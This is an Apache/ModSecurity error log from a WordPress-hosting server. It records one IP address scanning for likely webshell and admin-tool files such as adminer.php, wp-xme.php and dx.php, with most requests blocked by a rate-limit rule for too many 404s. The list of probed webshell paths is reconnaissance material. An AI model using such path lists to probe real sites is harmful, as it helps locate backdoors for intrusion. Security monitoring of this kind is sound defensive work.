[Fri Apr 24 01:49:30.335187 2026] [:error] [pid 25635:tid 25649] [client 74.248.129.192:64920] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aepbqsRxv6UsgRGKB3JRfQAAAQo"]
[Fri Apr 24 01:49:30.933949 2026] [:error] [pid 65000:tid 65030] [client 74.248.129.192:64954] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aepbqr6vRb9j6psK2ZZ6uAAAAgE"]
[Fri Apr 24 01:49:31.619518 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:9663] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aepbq76vRb9j6psK2ZZ6vwAAAhY"]
[Fri Apr 24 01:49:32.141936 2026] [:error] [pid 65000:tid 65037] [client 74.248.129.192:18808] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aepbrL6vRb9j6psK2ZZ6wgAAAgQ"]
[Fri Apr 24 01:49:32.685808 2026] [:error] [pid 42973:tid 43044] [client 74.248.129.192:38077] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aepbrG6I0QqmmmLTHE2DfgAAAIE"]
[Fri Apr 24 01:49:33.219271 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:64372] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aepbrb6vRb9j6psK2ZZ6ywAAAhY"]
[Fri Apr 24 01:49:33.837395 2026] [:error] [pid 46953:tid 46969] [client 74.248.129.192:64876] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aepbrUnlpdHh-P6wKbp5mgAAAk0"]
[Fri Apr 24 01:49:34.394450 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:64947] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aepbroV5EysYcTLjmwgy-QAAAcw"]
[Fri Apr 24 01:49:34.934572 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:38074] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aepbrr6vRb9j6psK2ZZ6zwAAAgg"]
[Fri Apr 24 01:49:35.460480 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:65283] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aepbr4V5EysYcTLjmwgy-wAAAdU"]
[Fri Apr 24 01:49:35.993156 2026] [:error] [pid 65000:tid 65053] [client 74.248.129.192:18760] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aepbr76vRb9j6psK2ZZ61gAAAhQ"]
[Fri Apr 24 01:49:36.547678 2026] [:error] [pid 46953:tid 46962] [client 74.248.129.192:64398] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aepbsEnlpdHh-P6wKbp5oAAAAkY"]
[Fri Apr 24 01:49:37.255274 2026] [:error] [pid 46953:tid 46959] [client 74.248.129.192:64845] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aepbsUnlpdHh-P6wKbp5oQAAAkM"]
[Fri Apr 24 01:49:38.103388 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:65243] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aepbsoV5EysYcTLjmwgzAAAAAcM"]
[Fri Apr 24 01:49:38.789963 2026] [:error] [pid 64998:tid 65009] [client 74.248.129.192:9648] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aepbsoV5EysYcTLjmwgzAgAAAcc"]
[Fri Apr 24 01:49:39.367061 2026] [:error] [pid 64998:tid 65007] [client 74.248.129.192:65230] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aepbs4V5EysYcTLjmwgzBgAAAcU"]
[Fri Apr 24 01:49:40.153391 2026] [:error] [pid 64967:tid 64977] [client 74.248.129.192:64871] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aepbtIAV4GfOOdX8QzqY6QAAAYg"]
[Fri Apr 24 01:49:40.708519 2026] [:error] [pid 25635:tid 25660] [client 74.248.129.192:64858] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aepbtMRxv6UsgRGKB3JRgAAAARU"]
[Fri Apr 24 01:49:41.274039 2026] [:error] [pid 65000:tid 65042] [client 74.248.129.192:65331] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aepbtb6vRb9j6psK2ZZ67QAAAgk"]
[Fri Apr 24 01:49:41.861059 2026] [:error] [pid 64998:tid 65026] [client 74.248.129.192:64870] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aepbtYV5EysYcTLjmwgzDAAAAdg"]
[Fri Apr 24 01:49:42.425968 2026] [:error] [pid 42973:tid 43046] [client 74.248.129.192:9612] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aepbtm6I0QqmmmLTHE2DhQAAAIM"]
[Fri Apr 24 01:49:42.975535 2026] [:error] [pid 42973:tid 43050] [client 74.248.129.192:9627] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aepbtm6I0QqmmmLTHE2DhgAAAIc"]
[Fri Apr 24 01:49:43.535478 2026] [:error] [pid 25635:tid 25663] [client 74.248.129.192:18753] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aepbt8Rxv6UsgRGKB3JRhAAAARg"]
[Fri Apr 24 01:49:48.487808 2026] [:error] [pid 46953:tid 46965] [client 74.248.129.192:38075] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aepbvEnlpdHh-P6wKbp5pAAAAkk"]
[Fri Apr 24 01:49:49.273280 2026] [:error] [pid 65000:tid 65052] [client 74.248.129.192:64895] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aepbvb6vRb9j6psK2ZZ69gAAAhM"]
[Fri Apr 24 01:49:49.790787 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:65335] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aepbvb6vRb9j6psK2ZZ6-QAAAhU"]
[Fri Apr 24 01:49:50.378135 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:65228] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aepbvr6vRb9j6psK2ZZ6_AAAAhY"]
[Fri Apr 24 01:49:50.917615 2026] [:error] [pid 42972:tid 43033] [client 74.248.129.192:18780] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aepbvsOAb-3sOknsk4fC_QAAAFE"]
[Fri Apr 24 01:49:51.446579 2026] [:error] [pid 65000:tid 65048] [client 74.248.129.192:65315] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aepbv76vRb9j6psK2ZZ7BQAAAg8"]
[Fri Apr 24 01:49:52.106843 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:64919] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aepbwL6vRb9j6psK2ZZ7BwAAAhU"]
[Fri Apr 24 01:49:52.686070 2026] [:error] [pid 65000:tid 65031] [client 74.248.129.192:65324] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aepbwL6vRb9j6psK2ZZ7DgAAAgI"]
[Fri Apr 24 01:49:53.274224 2026] [:error] [pid 42973:tid 43067] [client 74.248.129.192:9600] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aepbwW6I0QqmmmLTHE2DjAAAAJg"]
[Fri Apr 24 01:49:53.929477 2026] [:error] [pid 46953:tid 46978] [client 74.248.129.192:64867] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aepbwUnlpdHh-P6wKbp5pQAAAlU"]
[Fri Apr 24 01:49:54.490900 2026] [:error] [pid 64998:tid 65006] [client 74.248.129.192:65223] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aepbwoV5EysYcTLjmwgzJAAAAcQ"]
[Fri Apr 24 01:49:55.114077 2026] [:error] [pid 64998:tid 65002] [client 74.248.129.192:65343] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aepbw4V5EysYcTLjmwgzJgAAAcA"]
[Fri Apr 24 01:49:55.758820 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:65328] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aepbw4V5EysYcTLjmwgzLQAAAcs"]
[Fri Apr 24 01:49:56.305359 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:65282] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aepbxL6vRb9j6psK2ZZ7GgAAAgU"]
[Fri Apr 24 01:49:56.854306 2026] [:error] [pid 64998:tid 65017] [client 74.248.129.192:9660] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aepbxIV5EysYcTLjmwgzMQAAAc8"]
[Fri Apr 24 01:49:57.410711 2026] [:error] [pid 46953:tid 46969] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/huya.php
[Fri Apr 24 01:49:57.671467 2026] [:error] [pid 46953:tid 46980] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Fri Apr 24 01:49:57.987182 2026] [:error] [pid 46953:tid 46957] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Apr 24 01:49:58.258801 2026] [:error] [pid 46953:tid 46958] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
[Fri Apr 24 01:49:58.532112 2026] [:error] [pid 46953:tid 46962] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Fri Apr 24 01:49:58.790767 2026] [:error] [pid 46953:tid 46967] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Fri Apr 24 01:49:59.050060 2026] [:error] [pid 46953:tid 46974] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Fri Apr 24 01:49:59.309930 2026] [:error] [pid 46953:tid 46971] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Fri Apr 24 01:49:59.572468 2026] [:error] [pid 46953:tid 46968] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/awa.php
[Fri Apr 24 01:49:59.922936 2026] [:error] [pid 46953:tid 46966] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/popo.php
[Fri Apr 24 01:50:00.183422 2026] [:error] [pid 46953:tid 46976] [client 74.248.129.192:64844] File does not exist: /usr/local/apache/htdocs/suspended-page/13.php
[Fri Apr 24 01:50:00.440902 2026] [:error] [pid 46953:tid 46975] [client 74.248.129.192:64844] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aepbyEnlpdHh-P6wKbp5sQAAAlM"]
[Fri Apr 24 01:50:00.990065 2026] [:error] [pid 65000:tid 65030] [client 74.248.129.192:38034] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aepbyL6vRb9j6psK2ZZ7HwAAAgE"]
[Fri Apr 24 01:50:01.579256 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:65307] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aepbyYV5EysYcTLjmwgzUQAAAcw"]
[Fri Apr 24 01:50:02.131781 2026] [:error] [pid 64998:tid 65010] [client 74.248.129.192:38047] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aepbyoV5EysYcTLjmwgzUwAAAcg"]
[Fri Apr 24 01:50:02.704681 2026] [:error] [pid 65000:tid 65029] [client 74.248.129.192:64384] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aepbyr6vRb9j6psK2ZZ7JQAAAgA"]
[Fri Apr 24 01:50:03.315315 2026] [:error] [pid 42973:tid 43066] [client 74.248.129.192:64874] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aepby26I0QqmmmLTHE2DkAAAAJc"]
[Fri Apr 24 01:50:03.921977 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:9647] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aepby76vRb9j6psK2ZZ7KAAAAgw"]
[Fri Apr 24 01:50:04.551969 2026] [:error] [pid 42973:tid 43065] [client 74.248.129.192:9601] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aepbzG6I0QqmmmLTHE2DkQAAAJY"]
[Fri Apr 24 01:50:05.070082 2026] [:error] [pid 64967:tid 64977] [client 74.248.129.192:65325] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aepbzYAV4GfOOdX8QzqY9gAAAYg"]
[Fri Apr 24 01:50:05.623131 2026] [:error] [pid 46953:tid 46959] [client 74.248.129.192:64928] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aepbzUnlpdHh-P6wKbp5tAAAAkM"]
[Fri Apr 24 01:50:06.167776 2026] [:error] [pid 42973:tid 43062] [client 74.248.129.192:64951] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aepbzm6I0QqmmmLTHE2DlAAAAJM"]
[Fri Apr 24 01:50:06.681892 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:65286] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aepbzsOAb-3sOknsk4fDBwAAAFQ"]
[Fri Apr 24 01:50:07.245751 2026] [:error] [pid 42972:tid 43032] [client 74.248.129.192:65242] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepbz8OAb-3sOknsk4fDCQAAAFA"]
[Fri Apr 24 01:50:07.770853 2026] [:error] [pid 65000:tid 65039] [client 74.248.129.192:18806] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepbz76vRb9j6psK2ZZ7LgAAAgY"]
